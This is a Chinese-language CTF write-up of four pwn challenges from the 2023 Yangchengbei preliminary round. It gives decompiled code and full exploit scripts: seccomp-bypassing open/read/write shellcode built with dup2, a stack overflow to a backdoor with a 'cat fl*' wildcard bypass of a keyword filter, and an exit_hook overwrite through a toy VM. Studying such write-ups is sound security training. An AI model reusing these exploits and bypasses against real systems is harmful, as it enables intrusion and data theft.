羊城杯2023初赛复现

shellcode

通过逆向分析一下,发现是存在一个16字节的输入,会将该输入当成代码去执行,并且限制在了0x4e到0x5F之间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  memset(s, 0, 16uLL);
puts("[5] ======== Input Your P0P Code ========");
for ( buf = s; buf; buf = (buf + 1) )
{
read(0, buf, 1uLL);
if ( (buf - s) >> 4 > 0 )
break;
}

while ( *v4 && *v4 > 0x4E && *v4 <= 0x5F )
{
++v2;
v4 = (v4 + 1);
}

.text:00000000000014EE 48 8B 45 D8 mov rax, [rbp+var_28]
.text:00000000000014F2 FF D0 call rax

在执行前,还开启了seccomp的沙箱保护,了解了一下0x7FFF0000LL是允许的意思,就是说,这里只允许0,1,2,33号系统调用,其他的都会被禁止

1
2
3
4
5
6
7
8
9
10
__int64 seccomp()
{
__int64 v1; // [rsp+8h] [rbp-48h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 1LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 1LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 33LL, 0LL);
return seccomp_load(v1);

再查一下系统调用号,33系统调用是网络交换socket的系统调用

%rax System call %rdi %rsi %rdx %r10 %r8
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
3 sys_close unsigned int fd
4 sys_stat const char *filename struct stat *statbuf
0x3b execve “/bin/sh” 0 0

于是我们去查一下0x4e到0x5f是什么代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; 字节码 0x4E 到 0x5F 组合
dec esi
push edi
push eax
push ecx
push edx
push esi
push ebp
push ebx
push ebp
push esi
pop eax
pop ecx
pop edx
pop esi
pop ebp
pop ebx
pop ebp
pop esi

我们知道了都是pop和push的汇编,但是无法输入syscall这个汇编,字节码为\x0f\x05,于是可以想到我们可以利用前面的二字节输入去输入syscall,然后利用pop和push将那个汇编转移到输入后面,再构造读取数据的汇编然后写ORW的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
def exploit():
li('exploit...')
sa(b'[2] Input: (ye / no)\n', asm('syscall'))
db()
sa(b'[5] ======== Input Your P0P Code ========\n', asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y'))
pause()
s(b'\x90' * 0x12 + asm(
'''
sub rsp, 0x2000
mov eax, 0x67616c66 ;// flag
push rax

mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open

push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
mov dl, 8
syscall ;// write open() return value

pop rax
test rax, rax
js over

mov edi, eax
mov esi, 0
mov eax, 33
syscall ;// dup2

mov edi, 0
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read

mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
syscall ;// write

over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''))

第二种方法

这种方法也不算第二种,只是在做题时没考虑到,看其他师傅的wp才发现的,在输入shellcode的那个判断,可以输入17个字符,但是检测只做了16个,最后一个没有检测,对比第一种解法,能更简单的更改执行流程

1
2
3
4
5
6
for ( buf = (char *)s; buf; ++buf )
{
read(0, buf, 1uLL);
if ( (buf - (char *)s) >> 4 > 0 ) // 可以读入17个字符,从0x0到0x10,为17个
break;
}

并且我发现在前面的shellcode我没有研究一下,所以没看到这个沙箱还限制了fd的大小,限制了read的fd要<=2,write的fd必须大于2,所幸可以使用dup2。dup2是重定向函数,可以将文件描述符复制给其他fd,其实学了IO_FILE就知道,就是把IO_FILE结构体复制过去了,下面就是Exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def exploit():
li('exploit...')
db()
sa(b'no)',asm('syscall'))
shellcode='''
push rax
pop rax
push rax
pop rax#fake padding
push rbx
pop rax#0
pop rsi
pop rsi
pop rsi#0x7ffd451d99c0 ◂— 0x50f
push rax
pop rdi#0
push rsi
pop rsp
pop rdx#0x50f
push rdx
push rsi
ret
'''
print(len(asm(shellcode)))
sa(b'===\n',asm(shellcode))
orw_dup2='''
push 0x67616c66
mov rdi,rsp
xor esi,esi
mov eax,2
syscall #open

mov rax,0x21
mov rdi,0x3
mov rsi,0x2
syscall#dup2(3,2)
xor rax,rax
mov rsi,rsp
push 0x2
pop rdi
mov rdx,0x30
syscall #read(2,rsp,0x30)
mov rax,0x21
mov rdi,0x1
mov rsi,0x5
syscall#dup2(1,5)
mov rax,0x1
mov rsi,rsp
mov rdi,0x5
syscall#write(5,rsp)
'''
s(b'aa'+asm(orw_dup2))

risky_login

也是第一次接触这种古老的架构,gdb的pwndbg插件不支持调试,ida也无法解析F5,于是我们用Ghidra去进行解析,解析出来和IDA没什么区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
undefined8 main(void)

{
undefined auStack_130 [288];

gp = &__global_pointer$;
FUN_123456a0();
puts("RiskY LoG1N SySTem");
puts("Input ur name:");
read(0,&DAT_12347078,8);
printf("Hello, %s");
puts("Input ur words");
read(0,auStack_130,0x120);
FUN_12345786(auStack_130);
puts("message received");
return 0;
}

void FUN_12345786(char *param_1)

{
size_t sVar1;
char acStack_108 [248];

gp = &__global_pointer$;
sVar1 = strlen(param_1);
DAT_12347070 = (byte)sVar1;
if (8 < DAT_12347070) {
puts("too long.");
/* WARNING: Subroutine does not return */
exit(-1);
}
strcpy(acStack_108,param_1);
return;
}

这里看得出来,在进行消息传递的时候我们的输入会被复制到一个栈上为248大小的空间,但是我们的输入可以为0x120(288)的数据,栈溢出,然后和amd64的方式是一样的,还存在一个后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void FUN_123456ee(void)

{
char *pcVar1;

gp = &__global_pointer$;
puts("background debug fun.");
puts("input what you want exec");
read(0,&DAT_12347078,8);
pcVar1 = strstr(&DAT_12347078,"sh");
if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0)) {
system(&DAT_12347078);
return;
}
puts("no.");
/* WARNING: Subroutine does not return */
exit(-1);
}

改后门函数有限制,但是在system这个函数可以使用通配符进行执行,于是我们用通配符绕过即可

1
2
3
4
5
def exploit():
sla('Input ur name:\n', 'a')
p1 = b'a' * (0xf8 + 8) + p64(0x123456EE)
sla('words\n', p1)
sl('cat fl*')

heap

堆题,但是涉及到了多线程的利用,典型的多线程就是条件竞争,存在sleep函数和pthread_create函数

1
2
3
4
length = *(*(ptr + 8LL * v2) + 8LL);
sleep(1u);
if ( v2 >= 0 && v2 <= 15 && *(ptr + 8LL * v2) )
{
1
if ( pthread_create(&newthread, 0LL, *(&off_4020 + v4), s) )

先分析堆的结构,0x10大小存放指针和大小

1
2
3
4
5
struct paper
{
void *content_ptr;
int len;
};

dit里存在条件竞争导致的堆溢出,如果此时edit paper->len=0x68大小的paper,sleep期间,这个paper被释放,并申请了一个长度为0x58大小的paper B,paper B就可以造成0x10大小的堆溢出,可以覆盖掉下一个paper C的管理结构控制content_ptr实现泄露地址和任意地址写

https://grxer.gitee.io/2023/09/07/2023-ycb/#heap

easy_vm

这是一道关于VMPWN的题目,VM的题目一般都是接受字节码,然后对字节码进行解析,然后翻译执行即可

首先逆向分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("It's a easy vmpwn,enjoy it");
ptr = malloc(0x1000uLL);
malloc(0x20uLL);
free(ptr);
ptr = 0LL;
qword_201040 = (__int64)malloc(0x1000uLL);
buf = malloc(0x1000uLL);
puts("Inputs your code:");
read(0, buf, 0x1000uLL);

可以发现申请了0x1000大小的空间的chunk后又申请了一次,由于前面的申请,导致该chunk被放到了unsortbin里面去了所以,在数据区是存在一个libc的地址的,于是我们可以用该地址去实现libc上的任意地址写,和后面的输入结合起来

后面代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
  while ( *(_BYTE *)buf )
{
switch ( *(_BYTE *)buf )
{
case 1:
qword_201040 += 8LL;
*(_QWORD *)qword_201040 = qword_201038;
buf = (char *)buf + 8;
break;
case 2:
qword_201038 = *(_QWORD *)qword_201040;
qword_201040 -= 8LL;
buf = (char *)buf + 8;
break;
case 3:
*(_QWORD *)qword_201038 = *(_QWORD *)qword_201040;
buf = (char *)buf + 8;
break;
case 4:
qword_201038 ^= *((_QWORD *)buf + 1);
buf = (char *)buf + 16;
break;
case 5:
qword_201038 = *(_QWORD *)qword_201038;
buf = (char *)buf + 8;
break;
case 6:
qword_201038 += *((_QWORD *)buf + 1);
buf = (char *)buf + 16;
break;
case 7:
qword_201038 -= *((_QWORD *)buf + 1);
buf = (char *)buf + 16;
break;
default:
buf = (char *)buf + 8;
break;
}
}
exit(0)

给了libc,能够得到one_gadget和exit_hook的地址,于是我们将exit_hook改为one_gadget(ogg)即可

于是WP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
ogg=[0x45206,0x4525a,0xef9f4,0xf0897]
code=flat(
2,
7,0x3c3b78,#libc_base
6,ogg[3],
1,#*(_QWORD *)qword_201040=ogg
7,ogg[3],
6,0x626f48,#exit_hook=qword_201040=ogg
3
)
# pause()
sa(b'code:',code)
io.interactive()